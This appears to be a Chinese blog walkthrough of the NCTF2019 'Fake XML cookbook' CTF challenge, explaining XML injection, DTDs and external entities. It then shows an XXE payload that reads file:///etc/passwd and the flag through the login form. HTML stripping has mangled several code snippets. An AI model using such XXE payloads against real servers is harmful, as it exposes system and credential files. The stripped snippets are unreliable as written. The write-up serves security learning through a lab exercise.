• [NCTF2019]Fake XML cookbook XML注入


    目录

    DTD

    实体

    外部实体

    做题


    看到这个界面就像admin 123456弱口令试试看

    果然进不去

    这里有个tips 但是没有办法点击 我们进源代码看看

    1. function doLogin(){
    2. var username = $("#username").val();
    3. var password = $("#password").val();
    4. if(username == "" || password == ""){
    5. alert("Please enter the username and password!");
    6. return;
    7. }
    8. var data = "" + username + "" + password + "";
    9. $.ajax({
    10. type: "POST",
    11. url: "doLogin.php",
    12. contentType: "application/xml;charset=utf-8",
    13. data: data,
    14. dataType: "xml",
    15. anysc: false,
    16. success: function (result) {
    17. var code = result.getElementsByTagName("code")[0].childNodes[0].nodeValue;
    18. var msg = result.getElementsByTagName("msg")[0].childNodes[0].nodeValue;
    19. if(code == "0"){
    20. $(".msg").text(msg + " login fail!");
    21. }else if(code == "1"){
    22. $(".msg").text(msg + " login success!");
    23. }else{
    24. $(".msg").text("error:" + msg);
    25. }
    26. },
    27. error: function (XMLHttpRequest,textStatus,errorThrown) {
    28. $(".msg").text(errorThrown + ':' + textStatus);
    29. }
    30. });
    31. }

    发现源代码中就存在检测账号密码的内容

    但是不知道该干嘛

    dataType: "xml",

    这里很奇怪 为啥xml我们直接搜搜看xml存在什么漏洞

    XML注入攻击总结_xml攻击_洒脱的智障的博客-CSDN博客

    发现存在xml注入漏洞

    我们来学习一下

    1. <?xml version="1.0" encoding="utf-8" ?>
    2. <USER>
    3. <user Account="admin">用户输入</user>
    4. <user Account="root">root</user>
    5. </USER>
    6. 用户输入是我们可控的 我们那我们如果可以写xml代码
    7. 例如
    8. admin</user><user Account="baby">baby</user>
    9. 那么就会被闭合实现注入 变为了
    10. <?xml version="1.0" encoding="utf-8" ?>
    11. <USER>
    12. <user Account="admin">admin</user>
    13. <user Account="baby">baby</user>
    14. </user>
    15. <user Account="root">root</user>
    16. </USER>
    17. 插入了一个 user 名为 baby

    这是最简单xml注入

    这里是使用外部实体注入

    DTD

    1. 首先我们需要了解什么是DTD
    2. DTD是用来定义 xml的格式
    3. 例如
    4. "1.0"?>
    5. message[
    6. message(receiver,sender)>
    7. ]>
    8. 这里就定义了xml 需要以 message为根元素
    9. 并且里面的内容为 receiver 和 sender
    10. 就和下面一样
    11. <message>
    12. <receiver>sqlilabreceiver>
    13. <sender>usernammsender>
    14. message>

    上面我们介绍完什么是DTD 现在介绍一下 什么是实体

    实体

    1. 这里我们首先给出一个 DTD
    2. "1.0"?>
    3. foo [
    4. foo ANY>
    5. xee "test">
    6. ]>
    7. 这里通过 DOCTYPE 规定了根元素为 foo
    8. 然后通过 ELEMENT 规定了内容为 ANY 就是所有的元素
    9. 重点是 !ENTITY 规定了 一个变量名 其中内容为 test
    10. 这个变量 我们可以通过 $xee进行引用
    11. 所以下面的代码就是
    12. <aabb>
    13. <user>&xeeuser>
    14. <passwd>adminpasswd>
    15. aabb>
    16. 因为接受了 ANY 所以不再局限 可以变为其他元素
    17. 这里的user值是通过 &xee的 所以其实真正的user值 是test

    我们了解了什么是实体 我们现在看看什么是内部实体和外部实体

    其实上面的写法 就是内部实体

    外部实体

    外部实体其实就可以引用外部的URL 或者进行伪协议读取

    这里就会造成xml注入

    1. "1.0"?>
    2. foo [
    3. xee SYSTEM "example.com">
    4. ]>
    5. 或者使用伪协议读文件
    6. "1.0"?>
    7. foo [
    8. xee SYSTEM "file:///ect/passwd">
    9. ]>

    做题

    这里我们就大致了解完 xml注入的基础了

    我们直接来做这个题目 我们使用 外部实体注入读取文件看看

    我们首先进行测试 是否存在 外部实体xml注入

    1. var data = "<user><username>" + username + "username><password>" + password + "password>user>";
    2. 这里我们就构造
    3. "1.0"?>
    4. test [
    5. admin SYSTEM "file:///etc/passwd">
    6. ]>
    7. <user><username>&admin;username><password>123456password>user>

    读取 /etc/passwd成功

    我们看看直接读取 flag

    直接成功了

  • 相关阅读:
    【MOL PLANT PATHOL】苹果MdMRLK2 通过抑制防御反应和过敏反应负向调节对V. mali的抗性
    智工教育:每年必考!教师编制这些考点必背!
    词向量word2vec(图学习参考资料)
    网络安全(黑客)自学
    HarmonyOS应用开发-AnimationDemo体验分享
    Android按钮 button
    【Python 实战基础】如何绘制饼状图分析商品库存
    mongodb开启副本集功能
    应对气候、经济双重影响,此‘链路’非彼链路
    【前端】Vue+Element UI案例:通用后台管理系统-登陆不同用户显示不同菜单、动态添加路由
  • 原文地址:https://blog.csdn.net/m0_64180167/article/details/132839713